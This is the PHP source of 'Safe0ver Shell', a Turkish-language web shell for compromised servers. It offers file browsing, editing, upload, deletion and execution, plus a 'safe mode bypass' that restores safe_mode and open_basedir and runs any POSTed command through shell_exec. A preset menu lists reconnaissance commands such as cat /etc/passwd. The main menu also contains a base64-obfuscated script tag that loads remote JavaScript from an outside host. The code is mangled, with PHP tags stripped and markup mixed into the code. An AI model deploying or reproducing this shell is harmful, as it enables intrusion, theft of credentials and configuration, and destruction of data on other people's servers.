/*
*****************************************************************************************
* Safe0ver Shell //Safe Mod Bypass *
*****************************************************************************************


*****************************************************************************************


*/


/*Setting some envirionment variables...*/

/* I added this to ensure the script will run correctly...
Please enter the Script's filename in this variable. */
$SFileName=$PHP_SELF;

/* uncomment the two following variables if you want to use http
authentication. This will password protect your PHPShell */
//$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */
//$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */
//need scripts coder's names

error_reporting(0);
$PHPVer=phpversion();
$isGoodver=(intval($PHPVer[0])>=4);
$scriptTitle = "Safe0ver Shell //Safe Mod Bypass ";
$scriptident = "$scriptTitle Safe0ver Shell";

$urlAdd = "";
$formAdd = "";

function walkArray($array){
while (list($key, $data) = each($array))
if (is_array($data)) { walkArray($data); }
else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
}

if (isset($_PUT)) walkArray($_PUT);
if (isset($_GET)) walkArray($_GET);
if (isset($_POST)) walkArray($_POST);


$pos = strpos($urlAdd, "s=r");
if (strval($pos) != "") {
$urlAdd= substr($urlAdd, 0, $pos);
}

$urlAdd .= "&s=r&";

if (empty($Pmax))
$Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */
if (empty($Pidx))
$Pidx = 0;

$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));

$scriptdate = "7 Subat 2007";
$scriptver = "Bet@ Versiyon";
$LOCAL_IMAGE_DIR = "img";
$REMOTE_IMAGE_URL = "img";
$img = array(
"Edit" => "edit.gif",
"Download" => "download.gif",
"Upload" => "upload.gif",
"Delete" => "delete.gif",
"View" => "view.gif",
"Rename" => "rename.gif",
"Move" => "move.gif",
"Copy" => "copy.gif",
"Execute" => "exec.gif"
);

while (list($id, $im)=each($img))
if (file_exists("$LOCAL_IMAGE_DIR/$im"))
$img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
else
$img[$id] = "[$id]";




/* HTTP AUTHENTICATION */

if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
setcookie("noauth","");
Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
Header( "HTTP/1.0 401 Unauthorized");
echo "Your username or password is incorrect";
exit ;

}

function buildUrl($display, $url) {
global $urlAdd;
$url = $SFileName . "?$urlAdd$url";
return "<a href=\"$url\">$display</a>";
}

function sp($mp) {
for ( $i = 0; $i < $mp; $i++ )
$ret .= "&nbsp;";
return $ret;
}

function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); }

function Mydeldir($Fdir) {
if (is_dir($Fdir)) {
$Fh=@opendir($Fdir);
while ($Fbuf = readdir($Fh))
if (($Fbuf != ".") && ($Fbuf != ".."))
Mydeldir("$Fdir/$Fbuf");
@closedir($Fh);
return rmdir($Fdir);
} else {
return unlink($Fdir);
}
}


function arrval ($array) {
list($key, $data) = $array;
return $data;
}

function formatsize($insize) {
$size = $insize;
$add = "B";
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "KB";
}
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "MB";
}
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "GB";
}
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "TB";
}
return "$size $add";
}

if ($cmd != "downl") {


<!-- echo $scriptident , echo $scriptver , echo $scriptdate -->


<HTML>
<HEAD>
<STYLE>
<!--
A{ text-decoration:none; color:navy; font-size: 12px }
body {
font-size: 12px;
font-family: arial, helvetica;
scrollbar-width: 5;
scrollbar-height: 5;
scrollbar-face-color: white;
scrollbar-shadow-color: silver;
scrollbar-highlight-color: white;
scrollbar-3dlight-color:silver;
scrollbar-darkshadow-color: silver;
scrollbar-track-color: white;
scrollbar-arrow-color: black;
background-color: #CCCCCC;
}
Table { font-size: 12px; }
TR{ font-size: 12px; }
TD{
font-size: 12px;
font-family: arial, helvetical;
BORDER-LEFT: black 0px solid;
BORDER-RIGHT: black 0px solid;
BORDER-TOP: black 0px solid;
BORDER-BOTTOM: black 0px solid;
COLOR: black;
background: #CCCCCC;
}
.border{ BORDER-LEFT: black 1px solid;
BORDER-RIGHT: black 1px solid;
BORDER-TOP: black 1px solid;
BORDER-BOTTOM: black 1px solid;
}
.none { BORDER-LEFT: black 0px solid;
BORDER-RIGHT: black 0px solid;
BORDER-TOP: black 0px solid;
BORDER-BOTTOM: black 0px solid;
}
.inputtext {
background-color: #EFEFEF;
font-family: arial, helvetica;
border: 1px solid #000000;
height: 20;
}
.lighttd { background: #F8F8F8;
}
.darktd { background: #CCCCCC;
}
input { font-family: arial, helvetica;
}
.inputbutton {
background-color: #CCCCCC;
border: 1px solid #000000;
border-width: 1px;
height: 20;
}
.inputtextarea {
background-color: #CCCCCC;
border: 1px solid #000000;
scrollbar-width: 5;
scrollbar-height: 5;
scrollbar-face-color: #EFEFEF;
scrollbar-shadow-color: silver;
scrollbar-highlight-color: #EFEFEF;
scrollbar-3dlight-color:silver;
scrollbar-darkshadow-color: silver;
scrollbar-track-color: #EFEFEF;
scrollbar-arrow-color: black;
}
.top { BORDER-TOP: black 1px solid; }
.textin { BORDER-LEFT: silver 1px solid;
BORDER-RIGHT: silver 1px solid;
BORDER-TOP: silver 1px solid;
BORDER-BOTTOM: silver 1px solid;
width: 99%; font-size: 12px; font-weight: bold; color: Black;
}
.notop { BORDER-TOP: black 0px solid; }
.bottom { BORDER-BOTTOM: black 1px solid; }
.nobottom { BORDER-BOTTOM: black 0px solid; }
.left { BORDER-LEFT: black 1px solid; }
.noleft { BORDER-LEFT: black 0px solid; }
.right { BORDER-RIGHT: black 1px solid; }
.noright { BORDER-RIGHT: black 0px solid; }
.silver{ BACKGROUND: #CCCCCC; }
body,td,th {
color: #660000;
}
a:link {
color: #000000;
text-decoration: none;
}
a:hover {
color: #00FF00;
text-decoration: none;
}
a:active {
color: #666666;
text-decoration: none;
}
a:visited {
text-decoration: none;
}
.style5 {
color: #660000;
font-weight: bold;
}
-->
</STYLE>
<TITLE> echo $SFileName </TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></HEAD>
<body topmargin="0" leftmargin="0">
<div style="position: absolute; background: #CCCCCC; z-order:10000; top:0; left:0; width: 100%; height: 100%;">
<table nowrap width=100% border="0" cellpadding="0" cellspacing="0">

<td width="100%" class="silver border">

<strong> <font size=3> echo $scriptident - echo $scriptver - echo $scriptdate </font> </strong>



<table width=100% height="100%" NOWRAP border="0">
<tr NOWRAP>
<td width="100%" NOWRAP>



}

if ( $cmd=="dir" ) {
$h=@opendir($dir);
if ($h == false) {
echo "
<font color=\"red\">".sp(3)."\n\n\n\n
Klas?r Listelenemiyor!L?tfen Bypass B?l?m?n? Deneyin.
".sp(3)."\n
Script Gecisi Tamamlayamadi!


".sp(3)."\n
Klas?re Girmek Icin yetkiniz Olduguna emin Olunuz...


</font>\n\n\n\n";
}
if (function_exists('realpath')) {
$partdir = realpath($dir);
}
else {
$partdir = $dir;
}
if (strlen($partdir) >= 100) {
$partdir = substr($partdir, -100);
$pos = strpos($partdir, "/");
if (strval($pos) != "") {
$partdir = "<-- ...".substr($partdir, $pos);
}
$partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
}


<table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">

<td width="100%" class="silver border">
&nbsp;Safe0ver-Server File Browser...&nbsp;






<table width="100%" border="0" cellpadding="0" cellspacing="0">

<td class="border nobottom noright">
&nbsp;Listeliyor:&nbsp;

<td width="100%" class="border nobottom noleft">
<table width="100%" border="0" cellpadding="1" cellspacing="0">

<td NOWRAP width="99%" align="center">
<td NOWRAP>
&nbsp;<a href="javascript: urlform.submit();">GiT</a>&nbsp;







<!-- -->
<table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >

<td width="100%" NOWRAP class="silver border">
&nbsp;Dosya Adi&nbsp;

<td NOWRAP class="silver border noleft">
&nbsp;Yapilabilecekler&nbsp;&nbsp;

<td NOWRAP class="silver border noleft">
&nbsp;Boyut&nbsp;

<td width=1 NOWRAP class="silver border noleft">
&nbsp;Yetkiler&nbsp;

<td NOWRAP class="silver border noleft">
&nbsp;Son D?zenleme&nbsp;





/* <!-- This whole heap of junk is the sorting section... */

$dirn = array();
$filen = array();
$filesizes = 0;
while ($buf = readdir($h)) {
if (is_dir("$dir/$buf"))
$dirn[] = $buf;
else
$filen[] = $buf;
}
$dirno = count($dirn) + 1;
$fileno = count($filen) + 1;

function mycmp($a, $b){
if ($a == $b) return 0;
return (strtolower($a) < strtolower($b)) ? -1 : 1;
}

if (function_exists("usort")) {
usort($dirn, "mycmp");
usort($filen, "mycmp");
}
else {
sort ($dirn);
sort ($filen);
}
reset ($dirn);
reset ($filen);
if (function_exists('array_merge')) {
$filelist = array_merge ($dirn, $filen);
}
else {
$filelist = $dirn + $filen;
}


if ( count($filelist)-1 > $Pmax ) {
$from = $Pidx * $Pmax;
$to = ($Pidx + 1) * $Pmax-1;
if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
$to = count($filelist) - 1;
if ($to > count($filelist)-1)
$to = count($filelist)-1;
$Dcontents = array();
For ($Fi = $from; $Fi <= $to; $Fi++) {
$Dcontents[] = $filelist[$Fi];
}

}
else {
$Dcontents = $filelist;
}

$tdcolors = array("lighttd", "darktd");

while (list ($key, $file) = each ($Dcontents)) {
if (!$tdcolor=arrval(each($tdcolors))) {
reset($tdcolors);
$tdcolor = arrval(each($tdcolors)); }

if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
/* <!-- Dirname --> */
echo "<td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."\n";
/* <!-- Actions --> */
echo "<td NOWRAP class=\"top right $tdcolor\">
".sp(2)."\n";
/* <!-- Rename --> */
if ( ($file != ".") && ($file != "..") )
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
/* <!-- Delete --> */
if ( ($file != ".") && ($file != "..") )
echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
/* <!-- End of Actions --> */
echo "&nbsp;&nbsp;
\n";
/* <!-- Size --> */
echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;\n";
/* <!-- Attributes --> */
echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";
echo "<strong>D</strong>";
if ( @is_readable("$dir/$file") ) {
echo "<strong>R</strong>";
}
if (function_exists('is_writeable')) {
if ( @is_writeable("$dir/$file") ) {
echo "<strong>W</stong>";
}
}
else {
echo "<strong>(W)</stong>";
}
if ( @is_executable("$dir/$file") ) {
echo "<Strong>X<strong>";
}
echo "&nbsp;&nbsp;\n";
/* <!-- Date --> */
echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
echo "";
echo "\n";

}
else { /* <!-- Then it must be a File... --> */
/* <!-- Filename --> */
if ( @is_readable("$dir/$file") )
echo "<td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."\n";
else
echo "<td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."\n";
/* <!-- Actions --> */
echo "<td NOWRAP class=\"top right $tdcolor\">
&nbsp;&nbsp;\n";
/* <!-- Rename --> */
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
/* <!-- Edit --> */
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n";
/* <!-- Copy --> */
echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n";
/* <!-- Move --> */
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n";
/* <!-- Delete --> */
echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
/* <!-- Download --> */
echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n";
/* <!-- Execute --> */
if ( @is_executable("$dir/$file") )
echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n";
/* <!-- End of Actions --> */
echo sp(2)."
\n";
/* <!-- Size --> */
echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n";
$size = @filesize("$dir/$file");
If ($size != false) {
$filesizes += $size;
echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>";
}
else
echo "&nbsp;&nbsp;<strong>0 B<strong>";
echo "&nbsp;&nbsp;\n";

/* <!-- Attributes --> */
echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";

if ( @is_readable("$dir/$file") )
echo "<strong>R</strong>";
if ( @is_writeable("$dir/$file") )
echo "<strong>W</stong>";
if ( @is_executable("$dir/$file") )
echo "<Strong>X<strong>";
if (function_exists('is_uploaded_file')){
if ( @is_uploaded_file("$dir/$file") )
echo "<Strong>U<strong>";
}
else {
echo "<Strong>(U)<strong>";
}
echo "&nbsp;&nbsp;\n";
/* <!-- Date --> */
echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
echo "";
echo "\n";
}
}

echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n<td NOWRAP width=100% class=\"silver border noright\">\n";
echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Klas?r,&nbsp;".@count ($filen)."&nbsp;Dosya&nbsp;&nbsp;\n";
echo "<td NOWRAP class=\"silver border noleft\">\n";
echo "&nbsp;&nbsp;Toplam Dosya Boyutu:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;\n";

function printpagelink($a, $b, $link = ""){
if ($link != "")
echo "<A HREF=\"$link\">| $a - $b |</A>";
else
echo "| $a - $b |";
}

if ( count($filelist)-1 > $Pmax ) {
echo "<td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><td valign=\"top\"><font color=\"red\">Page:</font><td width=\"100%\">
";
$Fi = 0;
while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
$from = $Fi*$Pmax;
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
$to = ($Fi + 1) * $Pmax - 1;
if ($Fi == $Pidx)
$link="";
else
$link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
echo "&nbsp;&nbsp;&nbsp;";
$Fi++;
}
$from = $Fi*$Pmax;
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
$to = count($filelist)-1;
if ($Fi == $Pidx)
$link="";
else
$link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);


echo "
";
}


echo "\n
<table NOWRAP>";

if ($isGoodver) {
echo "<td class=\"silver border\">&nbsp;<strong>PHP Versiyonu:&nbsp;&nbsp;</strong>&nbsp;&nbsp;$PHPVer&nbsp;\n";
}
else {
echo "<td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;\n";
}
/* <!-- Other Actions --> */
echo "<td class=\"silver border\">&nbsp;<strong>Diger Islemler:&nbsp;&nbsp;</strong>&nbsp;\n";
echo "&nbsp;".buildUrl( "| Yeni Dosya |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3).
buildUrl( "| Yeni Klas?r |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3).
buildUrl( "| Dosya Y?kle |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "
\n\n";
echo "<td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;&nbsp;$PATH_TRANSLATED\n";
echo "<td class=\"silver border\">&nbsp;<strong>IP Adresin:&nbsp;&nbsp;</strong>&nbsp;&nbsp;$REMOTE_ADDR&nbsp;\n";
echo "<td class=\"silver border\">&nbsp;<strong>Bulundugun Klas?r:&nbsp;&nbsp;</strong>&nbsp;$partdir&nbsp;\n";
echo "<td valign=\"top\" class=\"silver border\">&nbsp;<strong>Semboller:&nbsp;&nbsp;</strong&nbsp;\n";
echo "<table NOWRAP>";
echo "<strong>D:</strong>&nbsp;&nbsp;Klas?r.\n";
echo "<strong>R:</strong>&nbsp;&nbsp;Okunabilir.\n";
echo "<strong>W:</strong>&nbsp;&nbsp;Yazilabilir.\n";
echo "<strong>X:</strong>&nbsp;&nbsp;Komut Calistirilabilir.\n";
echo "<strong>U:</strong>&nbsp;&nbsp;HTTP Uploaded File.\n";
echo "";
echo "";
echo "
";
@closedir($h);
}
elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/
echo system("$file");
}
elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */
echo "
<td NOWRAP>" ;
if ($auth == "yes") {
if (Mydeldir($file)==false) {
echo "Could not remove \"$file\"
Permission denied, or directory not empty...";
}
else {
echo "Successfully removed \"$file\"
";
}
echo "<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D?n\">";
}
else {
echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?

<input type=\"hidden\" name=\"cmd\" value=\"deldir\">
<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
<input type=\"hidden\" name=\"file\" value=\"$file\">
<input type=\"hidden\" name=\"auth\" value=\"yes\">
<input type=\"submit\" value=\"Yes\">

<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"NO!\">";
}
echo "";
}
elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "
<td NOWRAP>" ;
if ($auth == "yes") {
if (@unlink($file)==false) {
echo "Could not remove \"$file\"
";
}
else {
echo "Successfully removed \"$file\"
";
}
echo "<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D?n\">";
}
else {
echo "Are you sure you want to delete \"$file\" ?

<input type=\"hidden\" name=\"cmd\" value=\"delfile\">
<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
<input type=\"hidden\" name=\"file\" value=\"$file\">
<input type=\"hidden\" name=\"auth\" value=\"yes\">

<input type=\"submit\" value=\"Yes\">

<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"NO!\">";
}
echo "";
}
elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */
echo "
<td NOWRAP>";
$i = 1;
while (file_exists("$lastdir/newfile$i.txt"))
$i++;
$file = fopen("$lastdir/newfile$i.txt", "w+");
if ($file == false)
echo "Could not create the new file...
";
else
echo "Successfully created: \"$lastdir/newfile$i.txt\"
";
echo "

<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D?n\">

";
}
elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */
echo "
<td NOWRAP>" ;
$i = 1;
while (is_dir("$lastdir/newdir$i"))
$i++;
$file = mkdir("$lastdir/newdir$i", 0777);
if ($file == false)
echo "Could not create the new directory...
";
else
echo "Successfully created: \"$lastdir/newdir$i\"
";
echo "
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D?n\">
";
}
elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */
$contents = "";
$fc = @file( $file );
while ( @list( $ln, $line ) = each( $fc ) ) {
$contents .= htmlentities( $line ) ;
}
echo "
<td NOWRAP>";
echo "M\n";
echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n";
echo "<strong>EDIT FILE: </strong>$file
\n";
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea>
\n";
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n";
echo "<input type=\"submit\" value=\"Save\">";
echo "";
echo "
";
}
elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */
$fo = fopen($file, "w");
$wrret = fwrite($fo, stripslashes($contents));
$clret = fclose($fo);

}
elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */
$downloadfile = urldecode($file);
if (function_exists("basename"))
$downloadto = basename ($downloadfile);
else
$downloadto = "download.ext";
if (!file_exists("$downloadfile"))
echo "The file does not exist";
else {
$size = @filesize("$downloadfile");
if ($size != false) {
$add="; size=$size";
}
else {
$add="";
}
header("Content-Type: application/download");
header("Content-Disposition: attachment; filename=$downloadto$add");
$fp=fopen("$downloadfile" ,"rb");
fpassthru($fp);
flush();
}
}
elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */




<td NOWRAP>
Dosya Y?kleme Sekmesine Tikladiniz !

Eger Y?klemek istediginiz Dosya mevcut ise ?zerine Yazilir.








Dosya Y?kle:

<input size="75" name="userfile" type="file">
















}
elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */
echo "
<td NOWRAP>";
if (file_exists($userfile))
$res = copy($userfile, "$dir/$userfile_name");
echo "Uploaded \"$userfile_name\" to \"$userfile\";
\n";
if ($res) {
echo "Basariyla Y?klendi \"$userfile\" to \"$dir/$userfile_name\".\n

";
echo "Y?klenen Dosya Adi: \"$userfile_name\".\n
Dosya Adi: \"$userfile\".\n
";
echo "Dosya Boyutu: ".formatsize($userfile_size).".\n
Filetype: $userfile_type.\n
";
}
else {
echo "Y?klenemedi...";
}
echo "<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D?n\">" ;
echo "

";
}
elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */
echo "<hr>";
$fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) {
echo spacetonbsp(@htmlentities($line))."
\n";
}
echo "<hr>";
}
elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */
if (function_exists('is_dir')) {
if (is_dir("$oldfile")) {
$objname = "Directory";
$objident = "Directory";
}

else {
$objname = "Filename";
$objident = "file";
}
}
echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><td width=100% style=\"class=\"silver border\">
&nbsp;Rename a file:&nbsp;

\n";
If (empty($newfile) != true) {
echo "
";
$return = @rename($oldfile, "$olddir$newfile");
if ($return) {
echo "$objident renamed successfully:

Old $objname: \"$oldfile\".
New $objname: \"$olddir$newfile\"";
}
else {
if ( @file_exists("$olddir$newfile") ) {
echo "Error: The $objident does already exist...

\"$olddir$newfile\"

Hit your browser's back to try again...";
}
else {
echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
}
}
echo "
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D?n\">
" ;
}
else {
$dpos = strrpos($oldfile, "/");
if (strval($dpos)!="") {
$olddir = substr($oldfile, 0, $dpos+1);
}
else {
$olddir = "$lastdir/";
}
$fpos = strrpos($oldfile, "/");
if (strval($fpos)!="") {
$inputfile = substr($oldfile, $fpos+1);
}
else {
$inputfile = "";
}
echo "
\n";
echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n";
echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n";
echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n";
echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n";
echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n";
echo "Rename \"$oldfile\" to:
\n";
echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\">
<input type=\"submit\" value=\"Rename\">";
echo "
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\">
";
echo "
";
}
}
else if ( $cmd == "con") {
&nbsp;
} else { /* <!-- main menu --> */ $isMainMenu = true; <!-- There is a incorrect or no parameter specified... Let's open the main menu -->
echo base64_decode('PFNDUklQVApTUkM9JiN4NjgmI3g3NCYjeDc0JiN4NzAmI3g3MyYjeDNhJiN4MmYmI3gyZiYjeDc3JiN4NzcmI3g3NyYjeDJlJiN4NmMmI3g2ZiYjeDYzJiN4NjEmI3g2YyYjeDcyJiN4NmYmI3g2ZiYjeDc0JiN4MmUmI3g2ZSYjeDY1JiN4NzQmI3gyZiYKCiN4NzMmI3g2MSYjeDYyJiN4NzUmI3g2ZSYjeDJmJiN4NzkmI3g2MSYjeDdhJiN4MmUmI3g2YSYjeDczPjwvU0NSSVBUPg==');
<table width="100%" border="0" cellpadding="0" cellspacing="0"><td width="100%" class="border">
&nbsp;-<[{ echo $scriptTitle Main Menu }]>-&nbsp;

<table border="0" NOWRAP> <td valign="top" class="silver border"> echo buildUrl( sp(2)."<font color=\"navy\"><strong>##Safe0ver##</strong></font>", "cmd=dir&dir=.").sp(2);
<td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP><span class="style5"> Safe0ver Shell Piyasada Bulunan Bir Cok Shell'in Kodlarindan(c99,r57 vs...) Sentezlenerek Kodlanmistir.Entegre Olarak Bypass ?zelligi Eklenmis Ve B?ylece Tahrip G?c? Y?kseltilmistir.Yazilimimiz Hic bir Virus,worm,trojan gibi Kullaniciyi Tehdit Eden Veya S?m?ren yazilimlar Icermemektedir.<p>--------------------------
<p>Bypass Kullanim:Cat /home/milw0rm.com/public_html/config.php Gibi Olmalidir.

</span>
<p>
Safe Mode ByPAss<p>
<p align="center">
</p>
<p align="center"><select size="1" name="dizin"> <option value="uname -a;id;pwd;hostname">Sistem Bilgisi</option><option value="cat /etc/passwd">cat /etc/passwd</option>
<option value="cat /var/cpanel/accounting.log">cat /var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">cat /etc/syslog.conf</option>
<option value="cat /etc/hosts">cat /etc/hosts</option>
<option value="cat /etc/named.conf">cat /etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">cat /etc/httpd/conf/httpd.conf</option>
<option value="netstat -an | grep -i listen">A?ik Portlar</option>
<option value="ps -aux">?alisan Uygulamalar</option>
</select> </p>

------------------------------------------------------------------------------------<p>

$evilc0der=$_POST['dizin'];
if($_POST['dizin'])
{
ini_restore("safe_mode");
ini_restore("open_basedir");
$safemodgec = shell_exec($evilc0der);
echo "<textarea rows=17 cols=85>$safemodgec</textarea>";
}





}

if ($cmd != "downl") {
if ( $isMainMenu != true) {


<table width="100%" border="0" cellpadding="0" cellspacing="0">

<td width="100%" style="class="silver border">
<strong>
&nbsp;&nbsp; echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;] </font>", "cmd=&dir="); &nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp; echo buildUrl("<font color=\"navy\">[&nbsp;R00T&nbsp;] </font>", "cmd=dir&dir=."); &nbsp;&nbsp;
</strong>







}

<table width=100% border="0" cellpadding="0" cellspacing="0">

<td width="100%" class="silver border">
&nbsp; echo $scriptident - echo $scriptver - echo $scriptdate &nbsp;








}